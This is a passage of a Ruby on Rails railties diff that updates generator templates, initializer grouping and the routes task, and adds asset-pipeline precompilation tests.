b/railties/lib/rails/generators/rails/app/templates/config/environments/test.rb.tt @@ -34,6 +34,11 @@ # like if you have constraints or database-specific column types # config.active_record.schema_format = :sql + <%- unless options.skip_active_record? -%> + # Raise exception on mass assignment protection for ActiveRecord models + config.active_record.mass_assignment_sanitizer = :strict + <%- end -%> + # Print deprecation notices to the stderr config.active_support.deprecation = :stderr end diff --git a/railties/lib/rails/generators/rails/app/templates/config/initializers/wrap_parameters.rb.tt b/railties/lib/rails/generators/rails/app/templates/config/initializers/wrap_parameters.rb.tt index fa1548db8b..d640f578da 100644 --- a/railties/lib/rails/generators/rails/app/templates/config/initializers/wrap_parameters.rb.tt +++ b/railties/lib/rails/generators/rails/app/templates/config/initializers/wrap_parameters.rb.tt @@ -4,9 +4,13 @@ # is enabled by default. # Enable parameter wrapping for JSON. You can disable this by setting :format to an empty array. -ActionController::Base.wrap_parameters <%= key_value :format, "[:json]" %> +ActiveSupport.on_load(:action_controller) do + wrap_parameters <%= key_value :format, "[:json]" %> +end +<%- unless options.skip_active_record? -%> # Disable root element in JSON by default. -if defined?(ActiveRecord) - ActiveRecord::Base.include_root_in_json = false +ActiveSupport.on_load(:active_record) do + self.include_root_in_json = false end +<%- end -%> diff --git a/railties/lib/rails/generators/rails/app/templates/gitignore b/railties/lib/rails/generators/rails/app/templates/gitignore index 923b697662..eb3489a986 100644 --- a/railties/lib/rails/generators/rails/app/templates/gitignore +++ b/railties/lib/rails/generators/rails/app/templates/gitignore @@ -1,5 +1,15 @@ -.bundle -db/*.sqlite3 -log/*.log -tmp/ -.sass-cache/ +# See http://help.github.com/ignore-files/ for more about ignoring files. +# +# If you find yourself ignoring temporary files generated by your text editor +# or operating system, you probably want to add a global ignore instead: +# git config --global core.excludesfile ~/.gitignore_global + +# Ignore bundler config +/.bundle + +# Ignore the default SQLite database. +/db/*.sqlite3 + +# Ignore all logfiles and tempfiles. +/log/*.log +/tmp diff --git a/railties/lib/rails/generators/rails/app/templates/public/500.html b/railties/lib/rails/generators/rails/app/templates/public/500.html index b80307fc16..f3648a0dbc 100644 --- a/railties/lib/rails/generators/rails/app/templates/public/500.html +++ b/railties/lib/rails/generators/rails/app/templates/public/500.html @@ -20,7 +20,6 @@ <!-- This file lives in public/500.html --> <div class="dialog"> <h1>We're sorry, but something went wrong.</h1> - <p>We've been notified about this issue and we'll take a look at it shortly.</p> </div> </body> </html> diff --git a/railties/lib/rails/generators/rails/plugin_new/plugin_new_generator.rb b/railties/lib/rails/generators/rails/plugin_new/plugin_new_generator.rb index 7c0a2b9cf4..4baa2110e7 100644 --- a/railties/lib/rails/generators/rails/plugin_new/plugin_new_generator.rb +++ b/railties/lib/rails/generators/rails/plugin_new/plugin_new_generator.rb @@ -11,14 +11,13 @@ module Rails def app if mountable? directory "app" - template "app/views/layouts/application.html.erb.tt", - "app/views/layouts/#{name}/application.html.erb" empty_directory_with_gitkeep "app/assets/images/#{name}" elsif full? empty_directory_with_gitkeep "app/models" empty_directory_with_gitkeep "app/controllers" empty_directory_with_gitkeep "app/views" empty_directory_with_gitkeep "app/helpers" + empty_directory_with_gitkeep "app/mailers" empty_directory_with_gitkeep "app/assets/images/#{name}" end end @@ -46,6 +45,7 @@ module Rails def lib template "lib/%name%.rb" template "lib/tasks/%name%_tasks.rake" + template "lib/%name%/version.rb" if full? template "lib/%name%/engine.rb" end diff --git a/railties/lib/rails/generators/rails/plugin_new/templates/%name%.gemspec b/railties/lib/rails/generators/rails/plugin_new/templates/%name%.gemspec index eb1a1e5054..8588e88077 100644 --- a/railties/lib/rails/generators/rails/plugin_new/templates/%name%.gemspec +++ b/railties/lib/rails/generators/rails/plugin_new/templates/%name%.gemspec @@ -1,12 +1,27 @@ -# Provide a simple gemspec so you can easily use your -# project in your rails apps through git. +$:.push File.expand_path("../lib", __FILE__) + +# Maintain your gem's version: +require "<%= name %>/version" + +# Describe your gem and declare its dependencies: Gem::Specification.new do |s| - s.name = "<%= name %>" - s.summary = "Insert <%= camelized %> summary." - s.description = "Insert <%= camelized %> description." + s.name = "<%= name %>" + s.version = <%= camelized %>::VERSION + s.authors = ["TODO: Your name"] + s.email = ["TODO: Your email"] + s.homepage = "TODO" + s.summary = "TODO: Summary of <%= camelized %>." + s.description = "TODO: Description of <%= camelized %>." + s.files = Dir["{app,config,db,lib}/**/*"] + ["MIT-LICENSE", "Rakefile", "README.rdoc"] <% unless options.skip_test_unit? -%> s.test_files = Dir["test/**/*"] <% end -%> - s.version = "0.0.1" + + <%= '# ' if options.dev? || options.edge? -%>s.add_dependency "rails", "~> <%= Rails::VERSION::STRING %>" +<% if full? && !options[:skip_javascript] -%> + # s.add_dependency "<%= "#{options[:javascript]}-rails" %>" +<% end -%> + + s.add_development_dependency "<%= gem_for_database %>" end diff --git a/railties/lib/rails/generators/rails/plugin_new/templates/Gemfile b/railties/lib/rails/generators/rails/plugin_new/templates/Gemfile index 7e6eb18341..f4efd3af74 100644 --- a/railties/lib/rails/generators/rails/plugin_new/templates/Gemfile +++ b/railties/lib/rails/generators/rails/plugin_new/templates/Gemfile @@ -1,14 +1,23 @@ source "http://rubygems.org" -<%= rails_gemfile_entry -%> +# Declare your gem's dependencies in <%= name %>.gemspec. +# Bundler will treat runtime dependencies like base dependencies, and +# development dependencies will be added by default to the :development group. +gemspec -<% if full? -%> -<%= database_gemfile_entry -%> -<% end -%> +# jquery-rails is used by the dummy application +gem "jquery-rails" -<% if mountable? -%> -<%= javascript_gemfile_entry -%> -<% end -%> +# Declare any dependencies that are still in development here instead of in +# your gemspec. These might include edge Rails or gems from your path or +# Git. Remember to move these dependencies to your gemspec before releasing +# your gem to rubygems.org. +<% if options.dev? || options.edge? -%> +# Your gem is dependent on dev or edge Rails. Once you can lock this +# dependency down to a specific version, move it to your gemspec. +<%= rails_gemfile_entry -%> + +<% end -%> # To use debugger -# <%= ruby_debugger_gemfile_entry %>
\ No newline at end of file +# <%= ruby_debugger_gemfile_entry %> diff --git a/railties/lib/rails/generators/rails/plugin_new/templates/app/mailers/.empty_directory b/railties/lib/rails/generators/rails/plugin_new/templates/app/mailers/.empty_directory new file mode 100644 index 0000000000..e69de29bb2 --- /dev/null +++ b/railties/lib/rails/generators/rails/plugin_new/templates/app/mailers/.empty_directory diff --git a/railties/lib/rails/generators/rails/plugin_new/templates/app/views/layouts/application.html.erb.tt b/railties/lib/rails/generators/rails/plugin_new/templates/app/views/layouts/%name%/application.html.erb.tt index 01550dec2f..01550dec2f 100644 --- a/railties/lib/rails/generators/rails/plugin_new/templates/app/views/layouts/application.html.erb.tt +++ b/railties/lib/rails/generators/rails/plugin_new/templates/app/views/layouts/%name%/application.html.erb.tt diff --git a/railties/lib/rails/generators/rails/plugin_new/templates/lib/%name%/version.rb b/railties/lib/rails/generators/rails/plugin_new/templates/lib/%name%/version.rb new file mode 100644 index 0000000000..ef07ef2e19 --- /dev/null +++ b/railties/lib/rails/generators/rails/plugin_new/templates/lib/%name%/version.rb @@ -0,0 +1,3 @@ +module <%= camelized %> + VERSION = "0.0.1" +end diff --git a/railties/lib/rails/generators/resource_helpers.rb b/railties/lib/rails/generators/resource_helpers.rb index de01c858dd..b34bc4a524 100644 --- a/railties/lib/rails/generators/resource_helpers.rb +++ b/railties/lib/rails/generators/resource_helpers.rb @@ -65,7 +65,7 @@ module Rails begin "#{options[:orm].to_s.classify}::Generators::ActiveModel".constantize - rescue NameError => e + rescue NameError Rails::Generators::ActiveModel end end diff --git a/railties/lib/rails/generators/test_case.rb b/railties/lib/rails/generators/test_case.rb index ee85b70bb5..7319fb79f6 100644 --- a/railties/lib/rails/generators/test_case.rb +++ b/railties/lib/rails/generators/test_case.rb @@ -81,7 +81,7 @@ module Rails # # assert_file "app/controller/products_controller.rb" do |controller| # assert_instance_method :index, content do |index| - # assert_match /Product\.all/, index + # assert_match(/Product\.all/, index) # end # end # @@ -148,7 +148,7 @@ module Rails # # assert_migration "db/migrate/create_products.rb" do |migration| # assert_class_method :up, migration do |up| - # assert_match /create_table/, up + # assert_match(/create_table/, up) # end # end # @@ -161,7 +161,7 @@ module Rails # # assert_file "app/controller/products_controller.rb" do |controller| # assert_instance_method :index, content do |index| - # assert_match /Product\.all/, index + # assert_match(/Product\.all/, index) # end # end # diff --git a/railties/lib/rails/generators/test_unit/model/templates/fixtures.yml b/railties/lib/rails/generators/test_unit/model/templates/fixtures.yml index d4138ca2f5..5c8780aa64 100644 --- a/railties/lib/rails/generators/test_unit/model/templates/fixtures.yml +++ b/railties/lib/rails/generators/test_unit/model/templates/fixtures.yml @@ -1,4 +1,4 @@ -# Read about fixtures at http://api.rubyonrails.org/classes/Fixtures.html +# Read about fixtures at http://api.rubyonrails.org/classes/ActiveRecord/Fixtures.html <% unless attributes.empty? -%> one: diff --git a/railties/lib/rails/initializable.rb b/railties/lib/rails/initializable.rb index 686a2dc0cb..04d5b55c69 100644 --- a/railties/lib/rails/initializable.rb +++ b/railties/lib/rails/initializable.rb @@ -10,6 +10,7 @@ module Rails attr_reader :name, :block def initialize(name, context, options, &block) + options[:group] ||= :default @name, @context, @options, @block = name, context, options, block end @@ -21,6 +22,10 @@ module Rails @options[:after] end + def belongs_to?(group) + @options[:group] == group || @options[:group] == :all + end + def run(*args) @context.instance_exec(*args, &block) end @@ -44,10 +49,10 @@ module Rails end end - def run_initializers(*args) + def run_initializers(group=:default, *args) return if instance_variable_defined?(:@ran) initializers.tsort.each do |initializer| - initializer.run(*args) + initializer.run(*args) if initializer.belongs_to?(group) end @ran = true end diff --git a/railties/lib/rails/paths.rb b/railties/lib/rails/paths.rb index de3d0b6fc5..b37421c09c 100644 --- a/railties/lib/rails/paths.rb +++ b/railties/lib/rails/paths.rb @@ -172,6 +172,10 @@ module Rails expanded.select { |f| File.exists?(f) } end + def existent_directories + expanded.select { |d| File.directory?(d) } + end + alias to_a expanded end end diff --git a/railties/lib/rails/plugin.rb b/railties/lib/rails/plugin.rb index ceddd25eaa..3e27688bb9 100644 --- a/railties/lib/rails/plugin.rb +++ b/railties/lib/rails/plugin.rb @@ -74,7 +74,8 @@ module Rails initializer :load_init_rb, :before => :load_config_initializers do |app| init_rb = File.expand_path("init.rb", root) if File.file?(init_rb) - config = app.config + # This double assignment is to prevent an "unused variable" warning on Ruby 1.9.3. + config = config = app.config # TODO: think about evaling initrb in context of Engine (currently it's # always evaled in context of Rails::Application) eval(File.read(init_rb), binding, init_rb) diff --git a/railties/lib/rails/railtie.rb b/railties/lib/rails/railtie.rb index 8c88b25617..e8fb1f3d98 100644 --- a/railties/lib/rails/railtie.rb +++ b/railties/lib/rails/railtie.rb @@ -2,6 +2,7 @@ require 'rails/initializable' require 'rails/configuration' require 'active_support/inflector' require 'active_support/core_ext/module/introspection' +require 'active_support/core_ext/module/delegation' module Rails # Railtie is the core of the Rails framework and provides several hooks to extend diff --git a/railties/lib/rails/tasks/documentation.rake b/railties/lib/rails/tasks/documentation.rake index 5d613e0698..ca8875ad9b 100644 --- a/railties/lib/rails/tasks/documentation.rake +++ b/railties/lib/rails/tasks/documentation.rake @@ -8,6 +8,8 @@ end # Monkey-patch to remove redoc'ing and clobber descriptions to cut down on rake -T noise class RDocTaskWithoutDescriptions < RDoc::Task + include ::Rake::DSL + def define task rdoc_task_name diff --git a/railties/lib/rails/tasks/misc.rake b/railties/lib/rails/tasks/misc.rake index 833fcb6f72..0dcca36d8b 100644 --- a/railties/lib/rails/tasks/misc.rake +++ b/railties/lib/rails/tasks/misc.rake @@ -1,5 +1,3 @@ -task :default => :test - task :rails_env do # TODO Do we really need this? unless defined? RAILS_ENV @@ -14,7 +12,7 @@ task :secret do end desc 'List versions of all Rails frameworks and the environment' -task :about do +task :about => :environment do puts Rails::Info end diff --git a/railties/lib/rails/tasks/routes.rake b/railties/lib/rails/tasks/routes.rake index 0c26bcf790..7dc54144da 100644 --- a/railties/lib/rails/tasks/routes.rake +++ b/railties/lib/rails/tasks/routes.rake @@ -3,35 +3,7 @@ task :routes => :environment do Rails.application.reload_routes! all_routes = Rails.application.routes.routes - if ENV['CONTROLLER'] - all_routes = all_routes.select{ |route| route.defaults[:controller] == ENV['CONTROLLER'] } - end - - routes = all_routes.collect do |route| - - reqs = route.requirements.dup - rack_app = route.app unless route.app.class.name.to_s =~ /^ActionDispatch::Routing/ - - endpoint = rack_app ? rack_app.inspect : "#{reqs[:controller]}##{reqs[:action]}" - constraints = reqs.except(:controller, :action) - - reqs = endpoint == '#' ? '' : endpoint - - unless constraints.empty? - reqs = reqs.empty? ? constraints.inspect : "#{reqs} #{constraints.inspect}" - end - - {:name => route.name.to_s, :verb => route.verb.to_s, :path => route.path, :reqs => reqs} - end - - # Skip the route if it's internal info route - routes.reject! { |r| r[:path] =~ %r{/rails/info/properties|^/assets} } - - name_width = routes.map{ |r| r[:name].length }.max - verb_width = routes.map{ |r| r[:verb].length }.max - path_width = routes.map{ |r| r[:path].length }.max - - routes.each do |r| - puts "#{r[:name].rjust(name_width)} #{r[:verb].ljust(verb_width)} #{r[:path].ljust(path_width)} #{r[:reqs]}" - end + require 'rails/application/route_inspector' + inspector = Rails::Application::RouteInspector.new + puts inspector.format(all_routes, ENV['CONTROLLER']).join "\n" end diff --git a/railties/lib/rails/test_help.rb b/railties/lib/rails/test_help.rb index 68f566274d..8d0d8cacac 100644 --- a/railties/lib/rails/test_help.rb +++ b/railties/lib/rails/test_help.rb @@ -24,7 +24,7 @@ if defined?(MiniTest) end end -if defined?(ActiveRecord) +if defined?(ActiveRecord::Base) require 'active_record/test_case' class ActiveSupport::TestCase diff --git a/railties/lib/rails/test_unit/testing.rake b/railties/lib/rails/test_unit/testing.rake index 33da2c0f5a..fa01f42c5b 100644 --- a/railties/lib/rails/test_unit/testing.rake +++ b/railties/lib/rails/test_unit/testing.rake @@ -71,6 +71,8 @@ module Kernel end end +task :default => :test + desc 'Runs test:units, test:functionals, test:integration together (also available: test:benchmark, test:profile, test:plugins)' task :test do tests_to_run = ENV['TEST'] ? ["test:single"] : %w(test:units test:functionals test:integration) diff --git a/railties/test/application/asset_debugging_test.rb b/railties/test/application/asset_debugging_test.rb new file mode 100644 index 0000000000..1b99af22a4 --- /dev/null +++ b/railties/test/application/asset_debugging_test.rb @@ -0,0 +1,65 @@ +require 'isolation/abstract_unit' +require 'rack/test' + +module ApplicationTests + class AssetDebuggingTest < Test::Unit::TestCase + include ActiveSupport::Testing::Isolation + include Rack::Test::Methods + + def setup + build_app(:initializers => true) + + app_file "app/assets/javascripts/application.js", "//= require_tree ." + app_file "app/assets/javascripts/xmlhr.js", "function f1() { alert(); }" + app_file "app/views/posts/index.html.erb", "<%= javascript_include_tag 'application' %>" + + app_file "config/routes.rb", <<-RUBY + AppTemplate::Application.routes.draw do + match '/posts', :to => "posts#index" + end + RUBY + + app_file "app/controllers/posts_controller.rb", <<-RUBY + class PostsController < ActionController::Base + end + RUBY + + ENV["RAILS_ENV"] = "production" + + boot_rails + end + + def teardown + teardown_app + end + + test "assets are concatenated when debug is off and compile is off either if debug_assets param is provided" do + # config.assets.debug and config.assets.compile are false for production environment + ENV["RAILS_ENV"] = "production" + capture(:stdout) do + Dir.chdir(app_path){ `bundle exec rake assets:precompile` } + end + require "#{app_path}/config/environment" + + class ::PostsController < ActionController::Base ; end + + # the debug_assets params isn't used if compile is off + get '/posts?debug_assets=true' + assert_match(/<script src="\/assets\/application-([0-z]+)\.js" type="text\/javascript"><\/script>/, last_response.body) + assert_no_match(/<script src="\/assets\/xmlhr-([0-z]+)\.js" type="text\/javascript"><\/script>/, last_response.body) + end + + test "assets aren't concatened when compile is true is on and debug_assets params is true" do + app_file "config/initializers/compile.rb", "Rails.application.config.assets.compile = true" + + ENV["RAILS_ENV"] = "production" + require "#{app_path}/config/environment" + + class ::PostsController < ActionController::Base ; end + + get '/posts?debug_assets=true' + assert_match(/<script src="\/assets\/application-([0-z]+)\.js\?body=1" type="text\/javascript"><\/script>/, last_response.body) + assert_match(/<script src="\/assets\/xmlhr-([0-z]+)\.js\?body=1" type="text\/javascript"><\/script>/, last_response.body) + end + end +end diff --git a/railties/test/application/assets_test.rb b/railties/test/application/assets_test.rb index e1eee71a9e..d4ffbe3d66 100644 --- a/railties/test/application/assets_test.rb +++ b/railties/test/application/assets_test.rb @@ -1,3 +1,4 @@ +# -*- coding: utf-8 -*- require 'isolation/abstract_unit' require 'active_support/core_ext/kernel/reporting' require 'rack/test' @@ -8,7 +9,7 @@ module ApplicationTests include Rack::Test::Methods def setup - build_app + build_app(:initializers => true) boot_rails end @@ -20,8 +21,14 @@ module ApplicationTests @app ||= Rails.application end + def precompile! + quietly do + Dir.chdir(app_path){ `bundle exec rake assets:precompile` } + end + end + test "assets routes have higher priority" do - app_file "app/assets/javascripts/demo.js.erb", "<%= :alert %>();" + app_file "app/assets/javascripts/demo.js.erb", "a = <%= image_path('rails.png').inspect %>;" app_file 'config/routes.rb', <<-RUBY AppTemplate::Application.routes.draw do @@ -32,11 +39,13 @@ module ApplicationTests require "#{app_path}/config/environment" get "/assets/demo.js" - assert_match "alert()", last_response.body + assert_equal 'a = "/assets/rails.png";', last_response.body.strip end test "assets do not require compressors until it is used" do app_file "app/assets/javascripts/demo.js.erb", "<%= :alert %>();" + add_to_env_config "production", "config.assets.compile = true" + ENV["RAILS_ENV"] = "production" require "#{app_path}/config/environment" @@ -46,19 +55,250 @@ module ApplicationTests assert defined?(Uglifier) end - test "assets are compiled properly" do + test "precompile creates the file, gives it the original asset's content and run in production as default" do app_file "app/assets/javascripts/application.js", "alert();" app_file "app/assets/javascripts/foo/application.js", "alert();" - capture(:stdout) do - Dir.chdir(app_path){ `bundle exec rake assets:precompile` } - end + ENV["RAILS_ENV"] = nil + precompile! + files = Dir["#{app_path}/public/assets/application-*.js"] + files << Dir["#{app_path}/public/assets/application.js"].first files << Dir["#{app_path}/public/assets/foo/application-*.js"].first + files << Dir["#{app_path}/public/assets/foo/application.js"].first files.each do |file| assert_not_nil file, "Expected application.js asset to be generated, but none found" - assert_equal "alert();\n", File.read(file) + assert_equal "alert()", File.read(file) + end + end + + test "precompile application.js and application.css and all other files not ending with .js or .css by default" do + app_file "app/assets/javascripts/application.js", "alert();" + app_file "app/assets/stylesheets/application.css", "body{}" + + app_file "app/assets/javascripts/someapplication.js", "alert();" + app_file "app/assets/stylesheets/someapplication.css", "body{}" + + app_file "app/assets/javascripts/something.min.js", "alert();" + app_file "app/assets/stylesheets/something.min.css", "body{}" + + images_should_compile = ["a.png", "happyface.png", "happy_face.png", "happy.face.png", + "happy-face.png", "happy.happy_face.png", "happy_happy.face.png", + "happy.happy.face.png", "happy", "happy.face", "-happyface", + "-happy.png", "-happy.face.png", "_happyface", "_happy.face.png", + "_happy.png"] + + images_should_compile.each do |filename| + app_file "app/assets/images/#{filename}", "happy" + end + + precompile! + + images_should_compile.each do |filename| + assert File.exists?("#{app_path}/public/assets/#{filename}") + end + + assert File.exists?("#{app_path}/public/assets/application.js") + assert File.exists?("#{app_path}/public/assets/application.css") + + assert !File.exists?("#{app_path}/public/assets/someapplication.js") + assert !File.exists?("#{app_path}/public/assets/someapplication.css") + + assert !File.exists?("#{app_path}/public/assets/something.min.js") + assert !File.exists?("#{app_path}/public/assets/something.min.css") + end + + test "asset pipeline should use a Sprockets::Index when config.assets.digest is true" do + add_to_config "config.assets.digest = true" + add_to_config "config.action_controller.perform_caching = false" + + ENV["RAILS_ENV"] = "production" + require "#{app_path}/config/environment" + + assert_equal Sprockets::Index, Rails.application.assets.class + end + + test "precompile creates a manifest file with all the assets listed" do + app_file "app/assets/stylesheets/application.css.erb", "<%= asset_path('rails.png') %>" + app_file "app/assets/javascripts/application.js", "alert();" + # digest is default in false, we must enable it for test environment + add_to_config "config.assets.digest = true" + + precompile! + manifest = "#{app_path}/public/assets/manifest.yml" + + assets = YAML.load_file(manifest) + assert_match(/application-([0-z]+)\.js/, assets["application.js"]) + assert_match(/application-([0-z]+)\.css/, assets["application.css"]) + end + + test "precompile creates a manifest file in a custom path with all the assets listed" do + app_file "app/assets/stylesheets/application.css.erb", "<%= asset_path('rails.png') %>" + app_file "app/assets/javascripts/application.js", "alert();" + # digest is default in false, we must enable it for test environment + add_to_config "config.assets.digest = true" + add_to_config "config.assets.manifest = '#{app_path}/shared'" + + precompile! + manifest = "#{app_path}/shared/manifest.yml" + + assets = YAML.load_file(manifest) + assert_match(/application-([0-z]+)\.js/, assets["application.js"]) + assert_match(/application-([0-z]+)\.css/, assets["application.css"]) + end + + test "the manifest file should be saved by default in the same assets folder" do + app_file "app/assets/javascripts/application.js", "alert();" + # digest is default in false, we must enable it for test environment + add_to_config "config.assets.digest = true" + add_to_config "config.assets.prefix = '/x'" + + precompile! + + manifest = "#{app_path}/public/x/manifest.yml" + assets = YAML.load_file(manifest) + assert_match(/application-([0-z]+)\.js/, assets["application.js"]) + end + + test "precompile does not append asset digests when config.assets.digest is false" do + app_file "app/assets/stylesheets/application.css.erb", "<%= asset_path('rails.png') %>" + app_file "app/assets/javascripts/application.js", "alert();" + add_to_config "config.assets.digest = false" + + precompile! + + assert File.exists?("#{app_path}/public/assets/application.js") + assert File.exists?("#{app_path}/public/assets/application.css") + + manifest = "#{app_path}/public/assets/manifest.yml" + + assets = YAML.load_file(manifest) + assert_equal "application.js", assets["application.js"] + assert_equal "application.css", assets["application.css"] + end + + test "assets do not require any assets group gem when manifest file is present" do + app_file "app/assets/javascripts/application.js", "alert();" + add_to_env_config "production", "config.serve_static_assets = true" + + ENV["RAILS_ENV"] = "production" + precompile! + + manifest = "#{app_path}/public/assets/manifest.yml" + assets = YAML.load_file(manifest) + asset_path = assets["application.js"] + + require "#{app_path}/config/environment" + + # Checking if Uglifier is defined we can know if Sprockets was reached or not + assert !defined?(Uglifier) + get "/assets/#{asset_path}" + assert_match "alert()", last_response.body + assert !defined?(Uglifier) + end + + test "assets raise AssetNotPrecompiledError when manifest file is present and requested file isn't precompiled" do + app_file "app/views/posts/index.html.erb", "<%= javascript_include_tag 'app' %>" + + app_file "config/routes.rb", <<-RUBY + AppTemplate::Application.routes.draw do + match '/posts', :to => "posts#index" + end + RUBY + + ENV["RAILS_ENV"] = "production" + precompile! + + # Create file after of precompile + app_file "app/assets/javascripts/app.js", "alert();" + + require "#{app_path}/config/environment" + class ::PostsController < ActionController::Base ; end + + get '/posts' + assert_match(/AssetNotPrecompiledError/, last_response.body) + assert_match(/app.js isn't precompiled/, last_response.body) + end + + test "assets raise AssetNotPrecompiledError when manifest file is present and requested file isn't precompiled if digest is disabled" do + app_file "app/views/posts/index.html.erb", "<%= javascript_include_tag 'app' %>" + add_to_config "config.assets.compile = false" + + app_file "config/routes.rb", <<-RUBY + AppTemplate::Application.routes.draw do + match '/posts', :to => "posts#index" + end + RUBY + + ENV["RAILS_ENV"] = "development" + precompile! + + # Create file after of precompile + app_file "app/assets/javascripts/app.js", "alert();" + + require "#{app_path}/config/environment" + class ::PostsController < ActionController::Base ; end + + get '/posts' + assert_match(/AssetNotPrecompiledError/, last_response.body) + assert_match(/app.js isn't precompiled/, last_response.body) + end + + test "precompile properly refers files referenced with asset_path and and run in the provided RAILS_ENV" do + app_file "app/assets/stylesheets/application.css.erb", "<%= asset_path('rails.png') %>" + # digest is default in false, we must enable it for test environment + add_to_env_config "test", "config.assets.digest = true" + + quietly do + Dir.chdir(app_path){ `bundle exec rake assets:precompile RAILS_ENV=test` } + end + file = Dir["#{app_path}/public/assets/application.css"].first + assert_match(/\/assets\/rails\.png/, File.read(file)) + file = Dir["#{app_path}/public/assets/application-*.css"].first + assert_match(/\/assets\/rails-([0-z]+)\.png/, File.read(file)) + end + + test "precompile shouldn't use the digests present in manifest.yml" do + app_file "app/assets/stylesheets/application.css.erb", "<%= asset_path('rails.png') %>" + + ENV["RAILS_ENV"] = "production" + precompile! + + manifest = "#{app_path}/public/assets/manifest.yml" + assets = YAML.load_file(manifest) + asset_path = assets["application.css"] + + app_file "app/assets/images/rails.png", "image changed" + + precompile! + assets = YAML.load_file(manifest) + + assert_not_equal asset_path, assets["application.css"] + end + + test "precompile appends the md5 hash to files referenced with asset_path and run in production as default even using RAILS_GROUPS=assets" do + app_file "app/assets/stylesheets/application.css.erb", "<%= asset_path('rails.png') %>" + add_to_config "config.assets.compile = true" + + ENV["RAILS_ENV"] = nil + quietly do + Dir.chdir(app_path){ `bundle exec rake assets:precompile RAILS_GROUPS=assets` } end + file = Dir["#{app_path}/public/assets/application-*.css"].first + assert_match(/\/assets\/rails-([0-z]+)\.png/, File.read(file)) + end + + test "precompile should handle utf8 filenames" do + filename = "レイルズ.png" + app_file "app/assets/images/#{filename}", "not a image really" + add_to_config "config.assets.precompile = [ /\.png$/, /application.(css|js)$/ ]" + + precompile! + require "#{app_path}/config/environment" + + get "/assets/#{URI.parser.escape(filename)}" + assert_match "not a image really", last_response.body + assert File.exists?("#{app_path}/public/assets/#{filename}") end test "assets are cleaned up properly" do @@ -66,14 +306,25 @@ module ApplicationTests app_file "public/assets/application.css", "a { color: green; }" app_file "public/assets/subdir/broken.png", "not really an image file" - capture(:stdout) do + quietly do Dir.chdir(app_path){ `bundle exec rake assets:clean` } end - files = Dir["#{app_path}/public/assets/**/*"] + files = Dir["#{app_path}/public/assets/**/*", "#{app_path}/tmp/cache/*"] assert_equal 0, files.length, "Expected no assets, but found #{files.join(', ')}" end + test "assets routes are not drawn when compilation is disabled" do + app_file "app/assets/javascripts/demo.js.erb", "<%= :alert %>();" + add_to_config "config.assets.compile = false" + + ENV["RAILS_ENV"] = "production" + require "#{app_path}/config/environment" + + get "/assets/demo.js" + assert_equal 404, last_response.status + end + test "does not stream session cookies back" do app_file "app/assets/javascripts/demo.js.erb", "<%= :alert %>();" @@ -99,5 +350,119 @@ module ApplicationTests assert_match "alert()", last_response.body assert_equal nil, last_response.headers["Set-Cookie"] end + + test "files in any assets/ directories are not added to Sprockets" do + %w[app lib vendor].each do |dir| + app_file "#{dir}/assets/#{dir}_test.erb", "testing" + end + + app_file "app/assets/javascripts/demo.js", "alert();" + + require "#{app_path}/config/environment" + + get "/assets/demo.js" + assert_match "alert();", last_response.body + assert_equal 200, last_response.status + end + + test "assets are concatenated when debug is off and compile is off either if debug_assets param is provided" do + app_with_assets_in_view + + # config.assets.debug and config.assets.compile are false for production environment + ENV["RAILS_ENV"] = "production" + precompile! + + require "#{app_path}/config/environment" + + class ::PostsController < ActionController::Base ; end + + # the debug_assets params isn't used if compile is off + get '/posts?debug_assets=true' + assert_match(/<script src="\/assets\/application-([0-z]+)\.js" type="text\/javascript"><\/script>/, last_response.body) + assert_no_match(/<script src="\/assets\/xmlhr-([0-z]+)\.js" type="text\/javascript"><\/script>/, last_response.body) + end + + test "assets aren't concatened when compile is true is on and debug_assets params is true" do + app_with_assets_in_view + add_to_env_config "production", "config.assets.compile = true" + add_to_env_config "production", "config.assets.allow_debugging = true" + + ENV["RAILS_ENV"] = "production" + require "#{app_path}/config/environment" + + class ::PostsController < ActionController::Base ; end + + get '/posts?debug_assets=true' + assert_match(/<script src="\/assets\/application-([0-z]+)\.js\?body=1" type="text\/javascript"><\/script>/, last_response.body) + assert_match(/<script src="\/assets\/xmlhr-([0-z]+)\.js\?body=1" type="text\/javascript"><\/script>/, last_response.body) + end + + test "assets can access model information when precompiling" do + app_file "app/models/post.rb", "class Post; end" + app_file "app/assets/javascripts/application.js", "//= require_tree ." + app_file "app/assets/javascripts/xmlhr.js.erb", "<%= Post.name %>" + + add_to_config "config.assets.digest = false" + precompile! + assert_equal "Post;\n", File.read("#{app_path}/public/assets/application.js") + end + + test "assets can't access model information when precompiling if not initializing the app" do + app_file "app/models/post.rb", "class Post; end" + app_file "app/assets/javascripts/application.js", "//= require_tree ." + app_file "app/assets/javascripts/xmlhr.js.erb", "<%= defined?(Post) || :NoPost %>" + + add_to_config "config.assets.digest = false" + add_to_config "config.assets.initialize_on_precompile = false" + + precompile! + assert_equal "NoPost;\n", File.read("#{app_path}/public/assets/application.js") + end + + test "enhancements to assets:precompile should only run once" do + app_file "lib/tasks/enhance.rake", "Rake::Task['assets:precompile'].enhance { puts 'enhancement' }" + output = precompile! + assert_equal 1, output.scan("enhancement").size + end + + test "digested assets are not mistakenly removed" do + app_file "app/assets/application.js", "alert();" + add_to_config "config.assets.compile = true" + add_to_config "config.assets.digest = true" + + quietly do + Dir.chdir(app_path){ `bundle exec rake assets:clean assets:precompile` } + end + + files = Dir["#{app_path}/public/assets/application-*.js"] + assert_equal 1, files.length, "Expected digested application.js asset to be generated, but none found" + end + + test "digested assets are removed from configured path" do + app_file "public/production_assets/application.js", "alert();" + add_to_env_config "production", "config.assets.prefix = 'production_assets'" + + ENV["RAILS_ENV"] = nil + quietly do + Dir.chdir(app_path){ `bundle exec rake assets:clean` } + end + + files = Dir["#{app_path}/public/production_assets/application.js"] + assert_equal 0, files.length, "Expected application.js asset to be removed, but still exists" + end + + private + + def app_with_assets_in_view + app_file "app/assets/javascripts/application.js", "//= require_tree ." + app_file "app/assets/javascripts/xmlhr.js", "function f1() { alert(); }" + app_file "app/views/posts/index.html.erb", "<%= javascript_include_tag 'application' %>" + + app_file "config/routes.rb", <<-RUBY + AppTemplate::Application.routes.draw do + match '/posts', :to => "posts#index" + end + RUBY + end end end diff --git a/railties/test/application/configuration_test.rb b/railties/test/application/configuration_test.rb index 448982f9de..97ad47ac14 100644 --- a/railties/test/application/configuration_test.rb +++ b/railties/test/application/configuration_test.rb @@ -306,7 +306,7 @@ module ApplicationTests require "#{app_path}/config/environment" require "mail" - ActionMailer::Base + _ = ActionMailer::Base assert_equal [::MyMailInterceptor], ::Mail.send(:class_variable_get, "@@delivery_interceptors") end @@ -319,7 +319,7 @@ module ApplicationTests require "#{app_path}/config/environment" require "mail" - 